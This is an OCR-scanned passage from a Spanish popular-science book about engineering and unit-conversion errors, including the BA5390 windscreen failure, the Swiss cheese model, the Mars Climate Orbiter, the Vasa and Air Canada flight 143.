manos uno de los tornillos que retird del parabrisas. A diferencia del almacén principal, que
cuenta con un supervisor a su cargo, este segundo carece de personal. Entra y encuentra el
dispensador de tornillos, pero la zona estd escasamente iluminada. Suele llevar gafas para leer,
pero no las necesita en el trabajo porque su vista es bastante buena, pero ahora, para poder



acceder a la caja de tornillos, bloquea la unica fuente de luz del lugar. Las cajas ni siquiera estan
etiquetadas como corresponde. Sam compara los tornillos con el que ha traido. Finalmente,
encuentra algunos tornillos adecuados. Deben de ser del modelo A211-7D. Spoiler: no lo eran.

Un momento, piensa Sam, una parte del parabrisas tiene una «banda de revestimiento» de
metal para mejorar la aerodinamica, lo que hace que sea mas grueso. Seis de los tornillos tienen
que ser mas largos. jMaldita sea, por qué tuvo que traer solo uno de los tornillos al azar! Sam
toma una decision y coge suficientes tornillos del modelo que cree es el A211-7D, ademas de seis
A211-9D, que son un poco mas largos. Regresa al coche y conduce bajo la lluvia.

Entra en el hangar principal y coge la llave dinamométrica que necesita para colocar los
tornillos. Ese tipo de llaves esta disefiado para soltarse cuando el tornillo ha alcanzado la tension
correcta y evitar asi que esté excesivamente apretado. Pero no estd en el panel de herramientas.
Ha desaparecido. Sam, si alguna vez lees esto, te compadezco, tio.

El jefe del almacén tiene un destornillador dinamométrico, aunque no esta calibrado
correctamente y se supone que no se puede utilizar. Los dos lo calibran para que ejerza una fuerza
de torsion de 20 y realizan algunas pruebas. Parece que va bien. Por fin Sam se puede poner a
trabajar.

Excepto que la broca que Sam necesita utilizar no encaja en el cabezal del destornillador.
Por lo que tiene que utilizar una broca Phillips del n.° 2 que si que encaja en el destornillador. Y
no encaja bien; si lo soltaba, se caeria. La broca del destornillador cay6 varias veces al suelo y
Sam tuvo que bajar para recuperarlo. Asomandose desde la plataforma de seguridad solo podia
alcanzar el parabrisas para apretar los tornillos, lo cual es una tarea para la que son necesarias
dos manos. Al usar ambas manos, Sam ya no podia estar seguro de si el destornillador se soltaba
porque se habia alcanzado el par correcto o si se deslizaba debido a que el tornillo tenia el
tamafio incorrecto.

Son casi las cinco de la mafiana, y Sam ya casi ha acabado su turno. Pero los tornillos A211-
9D mas largos que ha cogido para la seccion mas gruesa no encajan. Me gusta imaginar a Sam
golpeando con el destornillador dinamométrico contra el lateral del avion mientras solloza en voz
baja. Puede que invente algunas palabrotas nuevas. Al final, decide que los tornillos que sac6 no
estaban tan mal después de todo. Cogio seis y los volvié a colocar. Por fin habia acabado.

Veintisiete horas después de que Sam estuviera (probablemente) jurando en hebreo en el
avion comercial birreactor BAC 1-11, este estaba preparado en la pista de despegue como el
vuelo BA5390, listo para llevar a ochenta y un pasajeros y a seis miembros de la tripulacion a
Malaga, Espafia. No sé si usted ha estado alguna vez en Birmingham, Inglaterra, o en Malaga,
Espaiia, pero yo si, y le puedo asegurar que Malaga es una mejora significativa. Todo el mundo a
bordo estaba de buen humor.

Trece minutos después del despegue, el avion estaba a unos 17.300 pies de altitud y las
azafatas estaban a punto de empezar con el servicio de comida y bebida. Se produce un estallido
fuerte cuando el parabrisas cae y revienta hacia afuera, provocando que la cabina sufra una
descompresion en tan solo dos segundos. El aire se volvio neblinoso debido al cambio repentino
de la presion.

El sobrecargo Nigel Ogden fue a toda prisa a la cabina de vuelo encontrandose al copiloto
que estaba intentando recuperar el control de la aeronave porque el piloto habia sido succionado
por la abertura de la ventana, golpedndose contra la columna de mando y desactivando asi el



piloto automatico. Bueno, su cuerpo casi estd fuera de la ventana. Est4d enganchado en el marco del
parabrisas, por lo que sus piernas todavia estan dentro de la nave. Ogden se las arregla para
agarrar al piloto por sus piernas para impedir que saliera volando.

El copiloto, Alistair Atcheson, fue capaz de recuperar el control del avion y aterrizarlo, con
medio cuerpo del capitdn Tim Lancaster colgando fuera de la ventana. La tripulacion se iba
turnando para ir agarrandolo de las piernas. Sobrevivio todo el mundo, incluyendo al capitan
Lancaster, que se pasé veintidos minutos fuera del avidn, y que se pudo recuperar completamente
y volver a pilotar.

Es una historia increible. Un relato extraordinario de como una tripulacion supo reaccionar a
un desastre repentino y catastrofico y se las arreglod para aterrizar la nave sin que se perdiera
ninguna vida. Pero estoy igualmente asombrado por cémo pudo fallar el parabrisas. Se hacen
tantos controles rigurosos que algo como lo que he contado no deberia poder ocurrir.

La respuesta corta e injusta es que Sam utilizo los tornillos incorrectos. Cuando estaba en el
almacén de recambios situado bajo la terminal internacional del aeropuerto de Birmingham no
cogi6é tornillos del modelo A211-7D como creyd, sino que eran del modelo A211-8C. Estos
tornillos tienen un diametro ligeramente menor, lo que significa que se pueden arrancar de la rosca
disefiada para soportar tornillos 7D. Cuando miro en mi despacho ambos tipos de tornillo bajo la
luz clara del dia, pienso que podria cometer el mismo error fAcilmente, sin la presion anadida que
tuvo que soportar Sam.

Forma parte de nuestra naturaleza culpar a alguien cuando las cosas salen mal. Pero los
errores humanos individuales son inevitables. Decirle a la gente que no cometa error alguno es
una forma muy ingenua de intentar evitar que se produzcan accidentes y desastres. James Reason
es profesor emérito de psicologia en la Universidad de Manchester, cuya investigacion se centra
en los errores humanos. Postul6 el modelo del queso suizo para analizar los desastres, que se fija
en el sistema completo en lugar de concentrarse en las personas individuales.

El modelo del queso suizo se fija en como las «defensas, barreras y salvaguardias son
atravesadas por la trayectoria que sigue un accidente». Este modelo contempla los accidentes de
forma parecida a un aluvion de piedras que caen sobre un sistema: solo aquellas que llegan hasta
el final provocan un desastre. Dentro del sistema existen multiples capas, cada una con sus
propias defensas y salvaguardias que ralentizan los errores. Pero cada capa tiene agujeros. Son
como rodajas de queso suizo.



En ocasiones todos los agujeros de tu queso se alinean.

Me encanta esta forma de analizar los accidentes, porque reconoce que es inevitable que los
humanos cometan errores durante un cierto porcentaje del tiempo. El enfoque pragmatico se basa
en reconocer este aspecto y en construir un sistema lo suficientemente robusto para filtrar los
errores antes de que se conviertan en desastres. Cuando se produce un desastre, es un fallo de todo
el sistema y puede ser injusto culpar a un inico humano.

Como experto de pacotilla, me parece que las disciplinas de la ingenieria y la aviacion son
bastante adecuadas para este modelo. Cuando investigaba para este libro, lei un montéon de
informes sobre accidentes y eran generalmente buenos a la hora de analizar todo el sistema. Mi
impresion desinformada es que, en algunas industrias, como la medicina o las finanzas, que
tienden a culpar a un individuo, ignorar el sistema en su conjunto puede conducir a una cultura en
la que no se admiten los errores cuando estos suceden. Lo que hace que, irénicamente, el sistema
sea menos capaz de lidiar con ellos.

Pero del mismo modo que sucede en un queso suizo real, a veces todos los agujeros se
alinean aleatoriamente.! Sucesos poco probables se producen ocasionalmente. Que es lo que
ocurri6 con el desastre del vuelo BA5390. Tuvieron que salir mal muchas cosas para que la
ventana reventara hacia afuera:

>> Sam escogio los tornillos incorrectos

* El almacén principal no tenia suficientes tornillos del modelo que Sam necesitaba. Si se
hubieran repuesto como toca podria haber cogido los tornillos 7D que estaba buscando.

* El almacén, que carecia de personal, estaba desorganizado. Durante la investigacion se
descubrié que, de los 294 cajones que contenian material, a 25 de ellos les faltaba una
etiqueta identificativa y que, de los 269 que si tenian, solo 163 contenian lo que tocaba.

* El almacén estaba muy poco iluminado y, al no llevar sus gafas, Sam no se dio cuenta de que
habia escogido los tornillos equivocados.

>> Sam no se dio cuenta de que los tornillos no encajaban correctamente



* Debio notar que la rosca del tornillo patinaba cuando entraba en la contratuerca. Aunque ese
deslizamiento parecia igual que cuando el destornillador dinamométrico alcanzaba el par
requerido.

* Los tornillos 8C que Sam utilizé tenian la cabeza mas pequefia que los 7D que extrajo, y
parecia algo obvio, porque no llenaban el avellanado hecho para las cabezas de los tornillos.
Excepto que el método a dos manos que utilizd para mantener el destornillador montado
impidio6 que se diera cuenta.

>> Nadie reviso el trabajo de Sam

* Si Sam no hubiera sido el jefe de mantenimiento, su trabajo hubiera sido revisado por, bueno,
el jefe de mantenimiento.

* Aunque parezca increible, el parabrisas no estaba clasificado como «punto critico»
susceptible de fallo catastrofico, y solo las partes calificadas como tales tienen que
comprobarse dos veces, incluso aunque el trabajo haya sido realizado por el jefe de
mantenimiento.

>> El parabrisas podia estallar hacia afuera

* Las partes de un avion se suelen disefiar siguiendo el principio «de tapon», que es una especie
de mecanismo de seguridad pasiva. Si el parabrisas se hubiera encajado por dentro, la
presion del aire del interior de la cabina hubiera ayudado a mantenerlo en su lugar. Pero,
dado que se encajo por fuera, los tornillos estaban luchando contra la presion interna de la
cabina.2

Se me ocurren otras cosas que podrian haber evitado el desastre. Los estandares britanicos
para los tornillos A211 podrian obligar a que lleven una inscripcion en el propio tornillo, en lugar
de unicamente en el paquete. La documentacion de mantenimiento de British Airways podria haber
sido mas explicita sobre la complejidad de ese trabajo. La Autoridad de Aviacion Civil podria
exigir que se realizase una prueba de presion después de que se realice esa tarea sobre presion
del fuselaje. La lista podria seguir.

En este caso, el efecto que pasa desapercibido es que, mientras que cada uno de estos pasos
individuales es mas que probable, la probabilidad de que se realicen todos ellos simultineamente
es muy pequefia. Siempre habréd algunos errores que se cuelen por algunas capas del queso, pero
rara vez hay los suficientes agujeros alineados como para que los errores provoquen una
catastrofe.

No resulta muy reconfortante pensar que, en el ambito de la aviacion, se producen a todas
horas errores pequefios y circunstancias desafortunadas y que solo estamos a salvo por medidas
de ultima hora que funcionan como toca y neutralizan la amenaza. Pero, estadisticamente, asi son
las cosas, y podemos decir que, estadisticamente, estamos muy seguros. Podemos creer en los
quesos.

Cualquiera que ya tenga miedo a volar es mejor que deje de leer lo que viene a continuacion
y pase directamente a la siguiente seccion. No se preocupe, no se pierde nada importante.

Para todos los demads: este es un analisis sobre como se pueden producir errores menores sin
ramificacion alguna. ;Recuerda esos tornillos A211-7D que Sam extrajo del parabrisas original?
Esa ventana del avion comercial birreactor BAC 1-11 deberia haber utilizado tornillos A211-8D.



No eran los que tocaba. Cuando la British Airways adquiri6 el avion, los tornillos que llevaba
puestos eran los equivocados. Habia estado volando con los tornillos erroneos durante afios.

A lo largo de la investigacion encontraron ochenta de los antiguos tornillos que Sam habia
retirado: setenta y ocho eran del modelo incorrecto (7D) y solo dos eran 8D. El avion habia
estado volando con unos tornillos para el parabrisas que eran ligeramente mas cortos. Por suerte,
los tornillos seleccionados eran lo suficientemente largos para los seis puntos de la parte mas
gruesa de la ventana, y ligeramente demasiado largos en los otros ochenta y cuatro puntos. Los
tornillos 7D mas cortos seguian siendo lo suficientemente largos para mantener la mayor parte de
la ventana fija en su sitio.

Irénicamente, los tornillos 8C que por error cogidé Sam eran de la longitud correcta. Pero
eran mas delgados y no encajaban correctamente con las tuercas; con la suficiente fuerza se podian
arrancar, como ocurrid en el desastre casi mortal. Si las cosas hubieran salido ligeramente
diferentes (que hubiera fallado el parabrisas a una altura superior; que el copiloto no recuperara
el control de la aeronave), esa pequefia diferencia de diametro de 0,66 milimetros podria
facilmente haber dado como resultado la muerte de las ochenta y siete personas que iban a bordo.

Justo después del accidente, y antes de que se hubiera finalizado la investigacion, la British
Airways realizo un chequeo de emergencia de todos sus aviones BAC 1-11, retirando y midiendo
uno de cada cuatro tornillos de los parabrisas. Se dejaron en tierra dos aviones mas porque vieron
que los tornillos que tenian eran incorrectos. Otra aerolinea realiz6 una comprobacion similar y
encontrd que dos de sus aviones también estaban utilizando los tornillos equivocados.

Es aterrador.

Si los humanos van a seguir creando cosas que van mas alla de lo que podemos percibir,
entonces necesitamos utilizar esa misma inteligencia para construir sistemas que permitan que los
humanos los utilicen y los mantengan. O, para decirlo de otra forma, si los tornillos son demasiado
parecidos para distinguirlos, mejor escribir en ellos el nimero identificativo del producto.



Diez

UNIDADES, CONVENCIONES Y ;POR QUE NO
PODEMOS LLEVARNOS TODOS BIEN?

Un niimero sin unidades puede ser irrelevante. Si algo cuesta «9,97», queremos saber en qué tipo
de moneda. Si esperamos que sean libras esterlinas o dolares estadounidenses y resulta que son
rupias indonesias o bitcoins, nos llevaremos una sorpresa (y una sorpresa muy diferente,
dependiendo de cual de las dos sea). Gestiono una pagina web de venta al por menor afincada en
el Reino Unido y recibimos la queja de un cliente por nuestra audacia listando los precios en una
«moneda extranjeray.

Entonces, ¢la cantidad cargada es en moneda extranjera? Es obvio que, dado que seguramente somos
muchos los que hacemos pedidos desde aqui, nos gustaria que fuera en dolares estadounidenses.
Cliente insatisfecho de mathsgear.co.uk

El hecho de entender erroneamente las unidades puede cambiar drasticamente el significado
de un nimero, por lo que existen toda clase de ejemplos fantasticos de tales errores. Es por todos
conocido que Cristobal Colon utilizé las millas italianas (1 milla italiana = 1.477,5 metros)
cuando leia las distancias escritas en millas arabes (1 milla drabe = 1.975,5 metros) y por eso
calculd que Asia estaba a tan solo un placido viaje en barco desde Espana. El error que cometid
con las unidades, combinado con algunas otras suposiciones incorrectas, hizo que cuando
esperaba llegar a China estuviera llegando aproximadamente a lo que hoy es San Diego. La
distancia real entre Europa y Asia habria sido demasiado larga para que Coldn la atravesara, si no
fuera por una inesperada masa de tierra que alcanzo6 en su lugar. Aunque se ha especulado con que
errd en los nimeros intencionadamente para engafar a sus patrocinadores y a su tripulacion.

Cuando estaba investigando y escribiendo este libro, la pregunta mas frecuente que me
planteaban las personas con las que hablé¢ era: «;Hablards sobre la nave espacial de la NASA que
utilizo las unidades equivocadas y se estrellé en Marte?». (La segunda que mas me hicieron fue
sobre el puente tambaleante; en este caso, quienes preguntaban eran londinenses.) Hay algo en la
confusion de unidades que le encanta a la gente. Puede que sea porque es un error muy familiar. Y
si lo combinamos con el regodeo que produce el hecho de que la NASA cometa un error de
matematicas basicas, lo convierte en una historia muy atractiva.

Y este es un caso en el que la leyenda urbana creada en torno a ¢l es (casi completamente)
cierta. En diciembre de 1998, la NASA lanz6 la nave espacial Mars Climate Orbiter, que tardé
nueve meses en llegar a Marte. Una vez alli, una confusion entre unidades métricas e imperiales
provoco un fracaso completo de la mision y la pérdida de la nave espacial.l



Las naves espaciales utilizan volantes de inercia, que, basicamente, son peonzas enormes,
para su estabilidad y control. El efecto giroscopico significa que, incluso en el vacio del espacio
donde no hay friccion, la nave puede empujar contra algo y desplazarse. Pero, con el tiempo, los
volantes pueden acabar girando a demasiada velocidad. Para arreglar este problema, se lleva a
cabo una desaturacion del momento angular (AMD por sus siglas en inglés) para reducir ese giro,
utilizando propulsores para mantener estable la nave espacial, pero esto provoca un ligero cambio
en la trayectoria. Un cambio ligero pero importante.

Cada vez que se utilizan los propulsores, se transmiten los datos a la NASA sobre cuan
potentes fueron los fogonazos y cuanto duraron. Lockheed Martin desarrollé un software 1lamado
SM_ FORCES (por «small forcesy», fuerzas pequefias) para analizar los datos del propulsor e
introducirlos en un archivo AMD para que lo utilizase el equipo de navegacion de la NASA.

Y es ahi donde se produjo el problema. El programa SM_ FORCES estaba calculando las
fuerzas en libras (técnicamente hablando, en libras fuerza: la fuerza gravitacional sobre una libra
de masa en la Tierra), mientras que el fichero AMD estaba suponiendo que las cantidades que
recibia venian en newtons (la unidad métrica de fuerza). Una libra fuerza equivale a 4,44822
newtons, por lo que, cuando SM_FORCES informaba en libras, el fichero AMD pensaba que las
cantidades eran en unas unidades mas pequenas, newtons, y subestimaba la fuerza en un factor de
4,44822.

El Mars Climate Orbiter no se estrellé por un enorme error de calculo cuando lleg6 a Marte,
sino debido a muchos pequenios errores durante el curso de su viaje de nueve meses. Cuando
estaba preparado para entrar en Orbita alrededor de Marte, el equipo de navegacion de la NASA
pensé que solo se habia salido de su ruta ligeramente a causa de las distintas desaturaciones del
momento angular. Esperaban que observara Marte a una distancia entre 150 y 170 kilometros de la
superficie, con lo cual se podria utilizar la atmosfera para reducir la velocidad de la nave
espacial y ponerla asi en oOrbita. Pero en cambio, se dirigid directamente a una altitud de 57
kilometros por encima de la superficie marciana, donde acab6 destruida.
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Tan solo hizo falta una confusioén de unidades para destruir los cientos de millones de dolares
de una nave espacial. Para que conste: las especificaciones para el software de la mision de la
NASA dejaban claro que todas las unidades han de ser métricas; el SM_FORCES no se cred
siguiendo las especificaciones oficiales. Por lo que el fallo se produjo porque la NASA utilizaba
unidades métricas y el contratista era de la vieja escuela.



El problema que derrib6 una nave espacial moderna también hundi6 un barco de guerra del
siglo xviI. El 10 de agosto de 1628, se inauguro6 el barco de guerra sueco Vasa y se fue a pique a
los pocos minutos. Durante ese breve momento fue el barco de guerra armado mas poderoso del
mundo: llevaba sesenta y cuatro cafiones de bronce. Desafortunadamente, también era demasiado
pesado. Esos cafiones no ayudaron, ni tampoco el refuerzo pesado de la cubierta superior que se
tuvo que colocar para soportarlos. Solo hicieron falta dos fuertes rafagas de viento y el barco
volcd, hundiéndose y llevandose consigo treinta vidas.

Por suerte para la historia, el Vasa se hundié en aguas que eran ideales para conservar la
madera. Poco después de su hundimiento, se recuperd la mayoria de los preciados cafiones de
bronce y el resto del naufragio fue olvidado (hasta 1956, cuando el investigador de naufragios
Anders Franzén logrd localizar el Vasa). Se saco del agua en 1961, y ahora descansa en un museo
construido a medida en Estocolmo. A pesar de haber pasado tres siglos en el fondo del océano, el
Vasa estd increiblemente bien conservado. Le faltan sus cafiones y la pintura original, pero, aun
asi, parece sorprendentemente nuevo.

Los analisis modernos de la estructura del casco del Vasa han demostrado que es asimétrico,
mucho mas que otros barcos de la misma época. Por lo que, aunque la sobrecarga de la parte
superior del barco fue claramente un factor importante de su falta de estabilidad, un desequilibrio
subyacente entre babor y estribor fue también el culpable.

Les encantan los grandes cascos, y estos no saben mentir (ni nivelarse).

Durante las restauraciones que se realizaron, se recuperaron cuatro reglas diferentes. Dos
median en «pies suecos», cada uno de los cuales equivalia a doce pulgadas, y las otras dos
median en «pies de Amsterdam», equivalentes a solo once pulgadas. Las pulgadas de Amsterdam
eran mayores que las suecas (y el pie también era de longitudes diferentes). Los arquedlogos que
trabajaban en el Vasa sugirieron que esta pudo ser la causa de su asimetria. Si los equipos de
constructores que trabajaban en el barco estaban utilizando pulgadas ligeramente diferentes, pero
seguian las mismas instrucciones, esto podria haber producido partes del barco con tamafios
diferentes. En este caso, no sabemos cudles fueron las especificaciones requeridas.
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No mucho después de celebrarse las elecciones de junio de 2017 en el Reino Unido, una bisqueda en la
version inglesa de Google de «durante cudnto tiempo ha sido Theresa May primera ministra» daba como
resultado su altura en picometros.

Cuando se trata de medir alguna parte corporal de un lider politico, las trillonésimas de metro no es la
unidad mas conveniente. Excepto, tal vez, para Trump.

Si no puedes con el calor, sal de la conversion

Por lo menos, las unidades de distancia estan todas de acuerdo en donde empezar a medir. En
cuanto a la longitud, es evidente que existe un punto cero: aquel en el que no tienes nada de nada.
Los metros y los pies pueden diferir en el tamafio de sus intervalos, pero todos ellos empiezan en
el mismo lugar. En cambio, con la temperatura no estd tan claro. No hay un punto claro en el que
empiece una escala de temperaturas, ya que siempre puede hacer mas frio (segin la experiencia
humana).

Dos de las escalas de temperaturas mas populares son la de Fahrenheit y la de Celsius, y
cada una de ellas utiliza un enfoque diferente para elegir una temperatura inicial de cero. El fisico
aleman Daniel Fahrenheit propuso la escala que lleva su nombre en 1724, y baso el punto cero en
una mezcla frigorifica. Si «frigorifica» no se acaba de convertir en su nueva palabra favorita, esta
usted frio y muerto por dentro.

Una mezcla frigorifica es un montén de sustancias quimicas que siempre se estabilizan a la
misma temperatura, por lo que constituyen un buen punto de referencia. En este caso, si mezclamos
cloruro de amonio, agua y hielo y los agitamos, acabaran estando a 0 °F. Si mezclamos inicamente
agua y hielo, estard a 32 °F, y la mezcla menos frigorifica de la sangre humana (aunque estando
todavia dentro de un humano sano) es a 96 °F. Aunque estos fueron los puntos de referencia que
utilizo, la escala Fahrenheit moderna se ha ajustado y ahora se fija en la congelacion del agua a 32
°F y su ebullicion en 212 °F. jFrigorifico!



La escala Celsius fue creada mas o menos al mismo tiempo por el astronomo sueco Anders
Celsius, excepto que ¢l contd en el sentido contrario. Celsius empezo con el cero en el punto de
ebullicion del agua a la presion atmosférica normal y luego subia a medida que la temperatura
bajaba, congelandose finalmente el agua a 100 °C. Mientras tanto, otras personas empezaron a
utilizar la convencién mas popular de situar el cero en el punto de congelacion del agua e ir
subiendo hasta llegar a 100 cuando el agua hervia, y luego todos discutieron para ver quién tuvo
primero la idea. No hubo un ganador claro a la hora de saber de quién fue la idea, pero la unidad
cald y se le dio el nombre neutral de centigrado.

Sin embargo, Celsius iba a ser el ultimo en reir, cuando el nombre centigrado chocaba con
una unidad utilizada para medir angulos (un centigrado o gradian es un cuadringentésimo de un
circulo), por lo que, en 1948, acab6 recibiendo su nombre. La escala Celsius se utiliza hoy en dia
casi universalmente para medir la temperatura, excepto, al parecer, en algunos paises que siguen
utilizando el Fahrenheit, como Belice, Myanmar, Estados Unidos y una parte importante de la
poblacion inglesa que es «demasiado vieja para cambiar ahora» (a pesar de que el Reino Unido
lleva intentado ser «métrico» desde hace medio siglo). Esto significa que todavia es necesario
realizar conversiones entre ambas escalas, y hacerlo con la temperatura no es tan sencillo como
con la longitud.

La medicion de distancias puede implicar tener que utilizar unidades de diferentes tamafios,
pero todos los sistemas emplean el mismo punto de partida, lo que implica que no hay diferencia
cuando pasamos de medidas absolutas a diferencias relativas. Si alguien es 0,5 metros mas alto
que yo, y esta a 10 metros de mi posicion, ambas medidas se pueden convertir en pies de la misma
forma (multiplicando por 3,28084); no importa si 10 metros es una medida absoluta y 0,5 es la
diferencia entre dos medidas (nuestras estaturas). Todo parece muy natural. Pero no funciona con
las temperaturas.

En septiembre de 2016, las noticias de la BBC informaron de que Estados Unidos y China
habian firmado el Acuerdo de Paris sobre el cambio climatico, resumiendo el acuerdo de esta
forma: «los paises acuerdan reducir las emisiones lo suficiente para mantener el aumento de las
temperaturas por debajo de los 2 °C (36° F)». El error no es solo que la BBC siga dando las
temperaturas en Fahrenheit, sino que un cambio de 2 °C no es lo mismo que un cambio de 36 °F,
aunque una temperatura de 2 °C equivale a una temperatura de 36 °F. Si un dia estd usted al aire
libre y la temperatura es de 2 °C y se fija en un termémetro Fahrenheit, este indicara 36 °F. Pero si
en ese momento la temperatura sube 2 °C, solo habra subido 3,6 °F.

La locura es que la BBC lo puso bien inicialmente. Gracias a la fantdstica pagina web
newssniffer.co.uk, que sigue el rastro de todos los cambios que se producen en los articulos de las
noticias, podemos ver el caos que se debido montar en la sala de redaccion de la BBC por los
continuos cambios numéricos que realizaron.

Para ser justo, el articulo formaba parte de una cobertura en directo de las noticias de ultima
hora y se disefio de tal forma que se pudiese ir actualizando con regularidad. La primera version
del articulo que mencionaba la temperatura hablaba del cambio de 2 °C. Pero debi6 de producirse
alguna discusion sobre las quejas que seguramente recibirian si no ponian también la temperatura
en Fahrenheit, por lo que dos horas después se afiadieron esos 3,6 °F. jQue es la respuesta
correcta!



Pero es una respuesta correcta inestable, porque, a pesar de ser correcta, hay una respuesta
«mas obvia» aunque menos correcta que la gente intentara que se cambie. Y mas o menos media
hora méas tarde, desaparecieron los 3,6 °F y aparecio6 en su lugar 36 °F. Una temperatura de 2 °C en
términos absolutos equivale a 35,6 °F, por lo que alguien debi6 ver 3,6 °F y debid pensar que era
un redondeo de 35,6 °F con el punto decimal en el lugar equivocado. Puedo imaginarme los
acalorados debates entre los partidarios de los 3,6 °F y los de los 36 °F, cada uno de ellos
intentando reivindicarse como los portadores de la verdad ultima en el tema de las temperaturas,
hasta que, imagino, un agotado editor gritd: «jBasta! jAhora nadie pondra la temperatura!». A las
ocho de la manana, tres horas después de que aparecieran los 36 °F, desaparecieron sin que fueran
sustituidos por otra cifra. Parecia que con los 2 °C era suficiente. La BBC se habia rendido
incapaz de realizar la conversion a Fahrenheit.

También pueden surgir problemas con la longitud a la hora de decidir el punto de inicio de
referencia, pero son casos mucho mas raros. Cuando se construyd un puente entre Laufenburg
(Alemania) y Laufenburg (Suiza), cada lado se construyd por separado sobre el rio hasta que se
pudiera unir en su punto medio. Para ello era necesario que ambos bandos estuvieran de acuerdo
en la altura exacta que iba a tener el puente, y la definian en relacion con el nivel del mar. El
problema era que cada pais tenia una idea diferente sobre cudl era el nivel del mar.

El océano no es una superficie completamente quieta y plana; estd constantemente en
movimiento. Y eso es antes de tener en cuenta el desigual campo gravitacional de la Tierra que
altera los niveles del mar. Por lo que cada pais tiene que tomar una decisidon en cuanto a su nivel
del mar. El Reino Unido utiliza la altura media del agua en el Canal de la Mancha medida en la
ciudad de Newlyn, en Cornualles, una vez cada hora entre 1915 y 1921. Alemania utiliza la altura
del mar medida en el mar del Norte, que bafia la linea costera alemana. Suiza no tiene salida al
mar, pero utiliza el nivel del mar del Mediterraneo.

El problema surgid porque las definiciones alemana y suiza de «nivel del mar» diferian en 27
centimetros y, sin compensar esa diferencia, el puente no podria coincidir en su punto medio. Pero
no fue un error matematico. Los ingenieros se dieron cuenta de que existiria una discrepancia en
torno al nivel del mar, calcularon la diferencia exacta de 27 centimetros y, entonces... la restaron
del lado incorrecto. Cuando las dos mitades del puente de 225 metros se encontraron en el medio,
el lado aleman era 54 centimetros mas alto que el suizo.

De aqui es de donde procede la frase: «Mide el nivel del mar dos veces, construye un puente
de 225 metros una vezy.

Problemas masivos

El combustible de un avion se calcula en base a su masa, no a su volumen. Los cambios de
temperatura pueden hacer que las cosas se expandan y se contraigan; el volumen real que ocupa un
combustible depende de su temperatura, por lo que es una medida poco fiable de cantidad. La
masa sigue siendo la misma. Por lo que, cuando el vuelo 143 de Air Canada iba a despegar de
Montreal el 23 de julio de 1983 para volar a Edmonton, se calculé que iba a necesitar un minimo
de 22.300 kilogramos de combustible (mas un extra de 300 kilogramos para desplazarse por la
pista, etc.).



Quedaba todavia algo de combustible del vuelo que llevd el avion a Montreal, y este se
midié para comprobar cuanto combustible era necesario afadir para el siguiente vuelo. Excepto
que tanto el personal de mantenimiento en tierra como la tripulacion del avion hicieron sus
calculos utilizando libras en lugar de kilogramos. La cantidad de combustible necesario tenia que
ser en kilogramos, pero llenaron el avion utilizando libras, y una libra equivale a tan solo 0,45
kilogramos. La consecuencia fue que el avion despegd con aproximadamente la mitad del
combustible que necesitaba para llegar a Edmonton. El Boeing 767 se iba a quedar sin
combustible a mitad de camino.

En un giro del destino increiblemente afortunado, el avidn, volando con un peligroso déficit
de combustible, tuvo que realizar una escala en Ottawa, donde los niveles de combustible se
volverian a comprobar antes de que el avion volviera a despegar. El avion aterrizd correctamente,
con los ocho miembros de la tripulacion y los sesenta y un pasajeros, sin tener ni idea de lo cerca
que habian estado de quedarse sin combustible en pleno vuelo. Este hecho nos hace recordar que
utilizar las unidades equivocadas puede poner las vidas de las personas en peligro.

Pero, entonces, en un giro del destino increiblemente desafortunado, el personal que
realizaba la comprobacién del combustible en Ottawa cometid exactamente el mismo error de
confusion de unidades (kilogramo/libra) y se le permitié al avidon despegar de nuevo con muy
poco combustible. Y se quedd sin combustible a medio camino.

El lector deberia estar perplejo mientras lee esta historia. Es tan increible que pone a prueba
su credulidad. Seguro que los aviones tienen indicadores de combustible que les indican cuanto
les queda. Los coches lo tienen y, si un automovil se queda sin gasolina, simplemente se detiene y
provoca un pequefio inconveniente: nos hace tener que ir caminando hasta la gasolinera mas
cercana. Si un avion se queda sin combustible, también se va a detener, pero solo después de caer
miles de metros (tres mil pies). Los pilotos deberian ser capaces de echar un vistazo al indicador
de combustible y ver que estd excesivamente bajo.

No se trataba de una avioneta con un indicador de combustible poco fiable. Era un Boeing
767 completamente nuevo y recién adquirido por Air Canada. Un Boeing 767 nuevo... con un
indicador de combustible muy poco fiable. El Boeing 767 fue uno de los primeros aviones en estar
equipado con toda clase de avidnica (electronica para la aviacion), por lo que una gran parte de la
cabina estd formada por dispositivos electronicos. Y, al igual que la mayoria de aparatos
electronicos, son geniales... hasta que algo funciona mal.

Ya que no puedes contar con la asistencia en carretera cuando estas a miles de pies de altura,
el quid de la cuestion es la redundancia. Las aeronaves tienen que llevar sus propios repuestos.
Por lo que el indicador electronico de combustible estaba conectado con sensores en los tanques
de combustible a través de dos canales independientes. Si los dos nimeros procedentes de cada
tanque coinciden, entonces el indicador de combustible puede mostrar con seguridad cual es el
nivel actual de combustible. Las sefiales procedentes de estos sensores de los tanques (uno en
cada ala de la aeronave) van a un procesador del nivel de combustible que controla los
indicadores. Excepto que este procesador estaba dafnado.

Un vuelo antes de su nefasto viaje, el Boeing 767 estaba en Edmonton y un técnico
aeronautico titulado llamado Yaremko estaba intentando averiguar por qué no funcionaban los
indicadores de combustible. Descubri6 que, si desconectaba uno de los canales de los sensores de
combustible que iban al procesador, los indicadores volvian a funcionar. Desactivo el disyuntor



de ese canal, etiquetdndolo con un trozo de cinta en la que ponia «inoperante» y tomo6 nota del
problema. Mientras esperaba un nuevo procesador para sustituir el que funcionaba mal, el avion
todavia cumplia con la lista maestra de equipo minimo (obligatorio para que el avidon volara de
forma segura), si se llevaba a cabo una comprobacion manual del nivel de combustible. Por lo que
la doble verificacion en este caso consistia en un indicador con un solo sensor y alguien
comprobando el tanque y midiendo fisicamente la cantidad de combustible antes de despegar.

Y es aqui donde se puede volver a aplicar lo del «queso suizo»: el desastre se produjo a
pesar de las diversas comprobaciones que podrian haber identificado y solventado el problema.

El avion despegd de Edmonton destino a Montreal con el capitdn Weir al mando, quien habia
malinterpretado la conversacion que tuvo con Yaremko y penséd que el problema del indicador de
combustible era un tema recurrente y no algo que acababa de suceder. Por lo que, cuando le pasé
el mando del avion al capitdin Pearson en Montreal, le explicd que habia un problema con el
indicador de combustible pero que con una comprobacion manual era suficiente. El capitin
Pearson entendidé con esto que los indicadores de combustible de la cabina de mando eran
completamente inoperantes.

Mientras esta conversacion entre los dos pilotos estaba teniendo lugar en Montreal, un
técnico de nombre Ouellet estaba comprobando la aeronave. No comprendio6 la nota que Yaremko
habia dejado respecto al indicador de combustible, asi que lo comprobd ¢l mismo, lo que implico
reactivar de nuevo el disyuntor. Esto hizo que todos los indicadores dejaran de funcionar y Ouellet
